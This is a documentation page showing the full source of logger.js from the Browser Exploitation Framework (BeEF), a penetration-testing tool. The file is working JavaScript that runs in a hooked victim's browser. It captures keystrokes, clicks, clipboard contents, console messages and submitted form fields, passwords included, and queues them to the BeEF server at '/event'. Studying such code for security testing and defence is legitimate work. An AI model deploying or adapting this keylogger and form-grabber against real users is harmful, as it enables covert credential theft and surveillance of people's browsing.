# JSDoc: Source: logger.js

# Source: logger.js

    //
    // Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
    // Browser Exploitation Framework (BeEF) - http://beefproject.com
    // See the file 'doc/COPYING' for copying permission
    //

    /**
     * Provides logging capabilities.
     * @namespace beef.logger
     */
    beef.logger = {

    	running: false,
        /**
        * Internal logger id
        */
        id: 0,
    	/**
    	 * Holds events created by user, to be sent back to BeEF
    	 */
    	events: [],
    	/**
    	 * Holds current stream of key presses
    	 */
    	stream: [],
    	/**
    	 * Contains current target of key presses
    	 */
    	target: null,
    	/**
    	 * Holds the time the logger was started
    	 */
    	time: null,
        /**
        * Holds the event details to be sent to BeEF
        */
        e: function() {
            this.id = beef.logger.get_id();
            this.time = beef.logger.get_timestamp();
            this.type = null;
            this.x = 0;
            this.y = 0;
            this.target = null;
            this.data = null;
            this.mods = null;
        },
        /**
         * Prevents from recursive event handling on form submission
         */
        in_submit: false,

    	/**
    	 * Starts the logger
    	 */
    	start: function() {

    		beef.browser.hookChildFrames();
    		this.running = true;
    		var d = new Date();
    		this.time = d.getTime();

            $j(document).off('keypress');
            $j(document).off('click');
            $j(window).off('focus');
            $j(window).off('blur');
            $j('form').off('submit');
            $j(document.body).off('copy');
            $j(document.body).off('cut');
            $j(document.body).off('paste');

            if (!!window.console && typeof window.console == "object") {
              try {
                var oldInfo = window.console.info;
                console.info = function (message) {
                  beef.logger.console('info', message);
                  oldInfo.apply(console, arguments);
                };
                var oldLog = window.console.log;
                console.log = function (message) {
                  beef.logger.console('log', message);
                  oldLog.apply(console, arguments);
                };
                var oldWarn = window.console.warn;
                console.warn = function (message) {
                  beef.logger.console('warn', message);
                  oldWarn.apply(console, arguments);
                };
                var oldDebug = window.console.debug;
                console.debug = function (message) {
                  beef.logger.console('debug', message);
                  oldDebug.apply(console, arguments);
                };
                var oldError = window.console.error;
                console.error = function (message) {
                  beef.logger.console('error', message);
                  oldError.apply(console, arguments);
                };
             } catch(e) {}
           }

    		$j(document).keypress(
    			function(e) { beef.logger.keypress(e); }
    		).click(
    			function(e) { beef.logger.click(e); }
    		);
    		$j(window).focus(
    			function(e) { beef.logger.win_focus(e); }
    		).blur(
    			function(e) { beef.logger.win_blur(e); }
    		);
    		$j('form').submit(
    			function(e) {
                    beef.logger.submit(e);
                }
    		);
    		$j(document.body).on('copy', function() {
    			setTimeout("beef.logger.copy();", 10);
    		});
    		$j(document.body).on('cut', function() {
    			setTimeout("beef.logger.cut();", 10);
    		});
    		$j(document.body).on('paste', function() {
    			beef.logger.paste();
    		});
    	},

    	/**
    	 * Stops the logger
    	 */
    	stop: function() {
    		this.running = false;
    		clearInterval(this.timer);
            $j(document).off('keypress');
            $j(document).off('click');
            $j(window).off('focus');
            $j(window).off('blur');
            $j('form').off('submit');
            $j(document.body).off('copy');
            $j(document.body).off('cut');
            $j(document.body).off('paste');
            // TODO: reset console
    	},

        /**
        * Get id
        */
        get_id: function() {
            this.id++;
            return this.id;
        },

    	/**
    	 * Click function fires when the user clicks the mouse.
    	 */
    	click: function(e) {
            var c = new beef.logger.e();
            c.type = 'click';
            c.x = e.pageX;
            c.y = e.pageY;
            c.target = beef.logger.get_dom_identifier(e.target);
            this.events.push(c);
    	},

    	/**
    	 * Fires when the window element has regained focus
    	 */
    	win_focus: function(e) {
            var f = new beef.logger.e();
            f.type = 'focus';
            this.events.push(f);
    	},

    	/**
    	 * Fires when the window element has lost focus
    	 */
    	win_blur: function(e) {
            var b = new beef.logger.e();
            b.type = 'blur';
    		this.events.push(b);
    	},

    	/**
    	 * Keypress function fires everytime a key is pressed.
    	 * @param {Object} e: event object
    	 */
    	keypress: function(e) {
    		if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
    		{
    			beef.logger.push_stream();
    			this.target = e.target;
    		}
    		this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
    	},

    	/**
    	 * Copy function fires when the user copies data to the clipboard.
    	 */
    	copy: function(x) {
    		try {
    			var c = new beef.logger.e();
    			c.type = 'copy';
    			c.data = clipboardData.getData("Text");
    			this.events.push(c);
    		} catch(e) {}
    	},

    	/**
    	 * Cut function fires when the user cuts data to the clipboard.
    	 */
    	cut: function() {
    		try {
    			var c = new beef.logger.e();
    			c.type = 'cut';
    			c.data = clipboardData.getData("Text");
    			this.events.push(c);
    		} catch(e) {}
    	},

            /**
             * Console function fires when data is sent to the browser console.
             */
            console: function(type, message) {
    		try {
    			var c = new beef.logger.e();
    			c.type = 'console';
    			c.data = type + ': ' + message;
    			this.events.push(c);
    		} catch(e) {}
    	},

    	/**
    	 * Paste function fires when the user pastes data from the clipboard.
    	 */
    	paste: function() {
    		try {
    			var c = new beef.logger.e();
    			c.type = 'paste';
    			c.data = clipboardData.getData("Text");
    			this.events.push(c);
    		} catch(e) {}
    	},

    	/**
    	 * Submit function fires whenever a form is submitted
         * TODO: Cleanup this function
    	 */
    	submit: function(e) {
            if (beef.logger.in_submit) {
                return true;
            }
    		try {
    			var f = new beef.logger.e();
    			f.type = 'submit';
    			f.target = beef.logger.get_dom_identifier(e.target);
                var jqForms = $j(e.target);
                var values = jqForms.find('input').map(function() {
                        var inp = $j(this);
                        return inp.attr('name') + '=' + inp.val();
                    }).get().join();
                beef.debug('submitting form inputs: ' + values);
                /*
    			for (var i = 0; i < e.target.elements.length; i++) {
    	            values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
    	        }
                */
    			f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
    			this.events.push(f);
                this.queue();
                this.target = null;
                beef.net.flush(function done() {
                    beef.debug("Submitting the form");
                    beef.logger.in_submit = true;
                    jqForms.submit();
                    beef.logger.in_submit = false;
                    beef.debug("Done submitting");
                });
                e.preventDefault();
                return false;
    		} catch(e) {}
    	},

    	/**
    	 * Pushes the current stream to the events queue
    	 */
    	push_stream: function() {
    		if (this.stream.length > 0)
    		{
    			this.events.push(beef.logger.parse_stream());
    			this.stream = [];
    		}
    	},

    	/**
    	 * Translate DOM Object to a readable string
    	 */
    	get_dom_identifier: function(target) {
    		target = (target == null) ? this.target : target;
    		var id = '';
    		if (target)
    		{
    			id = target.tagName.toLowerCase();
    			id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
    			id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
    		}
    		return id;
    	},

    	/**
    	 * Formats the timestamp
    	 * @return {String} timestamp string
    	 */
    	get_timestamp: function() {
    		var d = new Date();
    		return ((d.getTime() - this.time) / 1000).toFixed(3);
    	},

    	/**
    	 * Parses stream array and creates history string
    	 */
    	parse_stream: function() {
    		var s = '';
            var mods = '';
    		for (var i in this.stream){
             try{
                var mod = this.stream[i]['modifiers'];
                s += String.fromCharCode(this.stream[i]['char']);
                if(typeof mod != 'undefined' &&
                          (mod['alt'] == true ||
                          mod['ctrl'] == true ||
                          mod['shift'] == true)){
                    mods += (mod['alt']) ? ' [Alt] ' : '';
                    mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
                    mods += (mod['shift']) ? ' [Shift] ' : '';
                    mods += String.fromCharCode(this.stream[i]['char']);
                }

             }catch(e){}
    		}
            var k = new beef.logger.e();
            k.type = 'keys';
            k.target = beef.logger.get_dom_identifier();
            k.data = s;
            k.mods = mods;
            return k;
    	},

    	/**
    	 * Queue results to be sent back to framework
    	 */
    	queue: function() {
    		beef.logger.push_stream();
    		if (this.events.length > 0)
    		{
    			beef.net.queue('/event', 0, this.events);
    			this.events = [];
    		}
    	}

    };

    beef.regCmp('beef.logger');